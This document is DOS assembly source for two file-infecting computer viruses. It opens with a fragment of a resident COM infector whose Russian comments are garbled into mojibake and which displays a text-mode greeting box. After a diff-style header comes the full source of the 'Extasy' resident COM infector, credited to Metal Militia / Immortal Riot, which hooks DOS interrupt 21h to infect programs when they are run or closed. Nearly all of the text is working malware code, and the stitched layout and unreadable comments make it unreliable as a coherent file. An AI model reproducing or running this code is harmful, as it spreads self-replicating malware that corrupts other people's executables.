pop es ; ’ ¬ ¬ë á®å࠭﫨 祣®©-â 
push ax
push bx ; ‘®åà ­¨¬ ¢á¥, çâ® ¯«®å®
push cx ; «¥¦¨â, çâ®¡ë ­¥ ¯à®¯ «®
push dx
mov ax,3D02h ; Žâªã¯®à¨¢ ¥¬ ª«¨¥­â  (ä ©«)
int 21h
jc EndExec1 ; 뢠îâ ¨ £­ãâë¥ ¯à®¡ª¨
mov bx,ax ; ®ª« ¤¥¬ ¯à®¡ªã ®â ä ©«  ¢ BX
mov cx,4 ; •®â¥«®áì ¡ë áç¨â âì 4 ¡ ©â 
mov ax,cs
mov ds,ax
mov ah,3Fh ; ‚ ¬¥áâ®, £¤¥ «¥¦ «¨
mov dx,offset RobbedBytes-StartVirus
int 21h ; ᯥàâë¥ ¡ ©âë
jc EndExec1
cmp word ptr cs:[RobbedBytes-StartVirus],'ZM'
je CloseFile ;   䨣  EXE § à ¦ âì???
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ; ‹¥§¥¬ ¢ § ¤­¨æã ä ©« 
cmp ax,1000 ;   䨣  ­ ¬ ä ©«ë ¬¥­ìè¥
jl CloseFile ; 1 ª¨«®?
cmp ax,64000 ; € ⥬ ¡®«¥¥ ¡®«ìè¥ 64
ja CloseFile
sub ax,3
mov cs:[FileSize-StartVirus],ax ; ˜ãਪ¥­  ?
cmp byte ptr cs:[RobbedBytes-StartVirus+3],15
je CloseFile ; ˆª¥¡ ­ !
mov ax,cs
mov ds,ax
mov ah,40h ; ƒ«ã¯ë© ¢¨àãá ஡ª® ¯àïç¥â
xor dx,dx ; ⥫® ¦¨à­®¥ ¢ § ¤­¨æ¥ ä ©« 
mov cx,VirLen
int 21h
xor cx,cx ; ˆ ¢ ­ ç «® ã¡¥£ ¥â, ç⮡ë
xor dx,dx ; JUMP â㤠 ¯®áâ ¢¨âì
mov ax,4200h
int 21h
mov ah,40h
mov dx,offset SuperByte-StartVirus ; ” ©« ­  â® ¨ ä ©«, ç⮡ë
mov cx,4 ; ¢ë§ë¢ âì ¯®¤ª«¥¥­­ë©
int 21h ; á§ ¤¨ ¢¨àãá
jmp CloseFile
EndExec1: jmp EndExec
mess1: db 'Hi! hello from MSS!',0dh,0ah,'$'
str1 db ' HELLO FROM OVER1 ','$'
game: mov al,0 ; ‡ ­®á¨¬ ¢ áé¥â稪 0
mov [count-0124h],al
mov ax,0308h ; AL - 8 ᥪâ®à®¢
mov bx,offset endvir ; ‚ BX -  ¤à¥á ¬ãá®à  §  墮á⮬
mov dx,0000h
mov cx,0001h
int 13h ; ¨è¥¬ ­  ¤¨áª € 8 ᥪâ®à®¢
jmp eee ; ¬ãá®à  ¨ «¨­ï¥¬.
CloseFile:
mov ah,3Eh ; ‘¨¥ § ªàë⨥ ä ©«  - ­ ¬
int 21h ; ®­ ¡®«ìè¥ ¢  é¥ ­¥ ­ã¦¥­
push ds ; Ž¡¬¥­-¢¥«¨ª ï ¢¥ééì
push cs
pop ds
; mov al,[count-0124h] ; € ç ¢® ã ­ á ¢ áé¥â稪¥?
; inc al ; € ª ª ­ é¥â +1 ?
; mov [count-0124h],al ; ˆ § ¯®¬­¨¬...
; cmp al,02h ; €å, 㦥 14 âà㯮¢?
; jl eee ; ¥â? Š ª ï ¦ «®áâì...
mov ah,09 ; Fuck' ­¥¬áï...
mov dx,offset mess1-0124h
int 21h
mov ah,0 ;
mov al,0 ; ãáâ ­ ¢«¨¢ ¥¬ 0 ¢¨¤¥®à¥¦¨¬
int 10h ;
mov ah,2
mov bh,0
mov dh,0
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ªãàá®à ­  0,10
mov ah,9
mov al,201
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ §¥«ñ­ë© ­  ªà á­®¬ 'É' ¢ ¯®§¨æ¨¨ ªãàá®à 
mov ah,2
mov bh,0
mov dh,0
mov dl,11
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  0,11
mov ah,9
mov al,205
mov bl,01000010b
mov bh,0
mov cx,20
int 10h ; ¢ë¢®¤¨¬ 20 §¥«ñ­ëå ­  ªà á­®¬ 'Í'
mov ah,2
mov bh,0
mov dh,0
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  0,31
mov ah,9
mov al,187
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ '»'
mov ah,2
mov bh,0
mov dh,1
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  1,10
mov ah,9
mov bl,01000010b
mov al,186
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'º'
mov ah,2
mov dx,010bh
int 10h
mov ah,9
mov dx,offset str1
int 21h ; ¢ë¢®¤¨¬ ¯à¨¢¥âá⢨¥ 'str1'
mov ah,2
mov bh,0
mov dh,1
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  1,31
mov ah,9
mov al,186
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'º'
mov ah,2
mov dh,2
mov dl,31
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  2,31
mov ah,9
mov al,188
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ '¼'
mov ah,2
mov dh,2
mov dl,10
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  3,10
mov ah,9
mov al,200
mov bl,01000010b
mov bh,0
mov cx,1
int 10h ; ¢ë¢®¤¨¬ 'È'
mov ah,2
mov dh,2
mov dl,11
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  2,11
mov ah,9
mov al,205
mov bl,01000010b
mov bh,0
mov cx,20
int 10h ; ¢ë¢®¤¨¬ 'Í' ( 20 èâ.)
mov ah,2
mov dh,25
mov dl,0
int 10h ; ã室¨¬ §  áâà ­¨æã
mov ah,2
mov bh,0
mov dh,24
mov dl,0
int 10h ; ¯®§¨æ¨®­¨à㥬 ­  24,0
MOV AL,2
mov ah,0
int 10h ; ¢®§¢à é ¥¬ áâ àë© ¢¨¤¥®à¥¦¨¬
mov al,[count-0124h]
cmp al,3
jz game ; “à !!! ®¡¥¦ «¨ ¨§¤¥¢ âìáï!
eee: pop ds ; Œ®© ç á 㦥 ¡«¨§®ª,â९¥é¨!
EndExec:
pop dx ; Œë â ¬, ª ¦¨áì, á®å࠭﫨
pop cx ; ®¯ïâì 祣®©-â ?
pop bx
pop ax
jmp Quit21Server ; ˆ ¯® ¡ ¡ ¬!
NotExec:
;   á«ãç © á«¥¤ãîé¨å 堬᪨å à §à ¡®â®ª
Quit21Server:
pop ds ; —¥¬ ¦¥ ¬ë ⮫쪮
pop bx ; STACK' ­ ­¥ ­ ¯®«­ï«¨?!
pop ax
popf ; …é¥ ¨ ä« £ ¬¨?!!!
db 0EAh
Off21 dw 0000h ; ’ ª ¡ã¤¥â á ª ¦¤ë¬, ªâ®...
Seg21 dw 0000h
RobbedBytes:
mov dx,offset GoodMessage ; â® ¢à®¤¥ ª ª ᯥàâë¥ ¡ ©âë
db 0B4h
SuperByte db 'è' ; € íâ® ­¥ ᯥàâë¥, ­®
FileSize dw 0000h ; ⮦¥ å®à®è¨¥
db 15 ; ˜ãਪ¥­ 
db '=>' ; â® ¤«ï ªà á®âë
CommandName db 'COMMAND.COM<=' ; € íâ® ®â COMMAND.COM
count db 1 dup (0) ; …â® ¥áâì áé¥â稪
REG DB 1 DUP (0)
endvir:
end gadost ; ˆ ¢á¥!
@@ -0,0 +1,197 @@
; Virusname: Extasy
; Origin: Sweden
; Author: Metal Militia
; This virus can be found with any anti-virus program, since it's been
; around for a while now. (SCAN/TB-SCAN/F-PROT/SOLOMON that is..)
;
; It's a resident .COM infector, without any encryption or stealth
; capabilities. It infects when you execute (4bh) or closes (3eh).
; This virus looks pretty much like RAVAGE, since it's pretty much
; alike except for that RAVAGE infects .EXE files too.
;
; I stopped with this virus since it's so totally buggy that you'll find
; it almost at once. This is the reason why i give you the source code.
; In my later resident things, there will be such things as encryption,
; stealth etc. i think..
.model tiny
.code
.radix 16
.code
viruslength = heap - _small
startload = 90 * 4
_small:
call relative
oldheader dw 020cdh
dw 0bh dup (0)
relative:
pop bp
push ds
push es
xor ax,ax
mov ds,ax
mov es,ax
mov di,startload
cmp word ptr ds:[di+25],di
jz exit_small
lea si,[bp-3]
mov cx,viruslength
db 2Eh
rep movsb
mov di,offset old21 + startload
mov si,21*4
push si
movsw
movsw
pop di
mov ax,offset int21 + startload
stosw
xchg ax,cx
stosw
exit_small:
pop es
pop ds
or sp,sp
jnp returnCOM
returnGNU:
returnCOM:
mov di,100
push di
mov si,bp
movsw
movsb
ret
infect:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
mov ax,3d02
int 21
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h
push cx
push dx
mov si,offset oldheader+startload
mov ah,3f
mov cx,18
push cx
mov dx,si
int 21
cmp ax,cx
jnz go_already_infected
mov di,offset target + startload
push di
rep movsb
pop di
mov ax,4202
cwd
int 21
cmp ds:[di],'ZM'
jz infectNOT
cmp ds:[di],'MZ'
jz infectNOT
sub ax,3
mov byte ptr ds:[di],0e9
mov ds:[di+1],ax
sub ax,viruslength
cmp ds:[si-17],ax
jnz finishinfect
go_already_infected:
pop cx
jmp short already_infected
db "EXTASY!"
db "(c) Metal Militia / Immortal Riot"
int21:
cmp ax,4b00
jz kewl
cmp ax,3e00
jnz oops
mov ah,45
int 21
jmp kewl
oops:
jmp chain
infectNOT:
jmp go_already_infected
kewl:
jmp infect
finishinfect:
mov cx,viruslength
mov dx,startload
mov ah,40
int 21
mov ax,4200
xor cx,cx
cwd
int 21
mov ah,40
mov dx,di
pop cx
int 21
already_infected:
pop dx
pop cx
mov ax,5701h
int 21h
mov ah,3e
int 21
exitinfect:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea
heap:
old21 dw ?, ?
target dw 0ch dup (?)
endheap:
end _small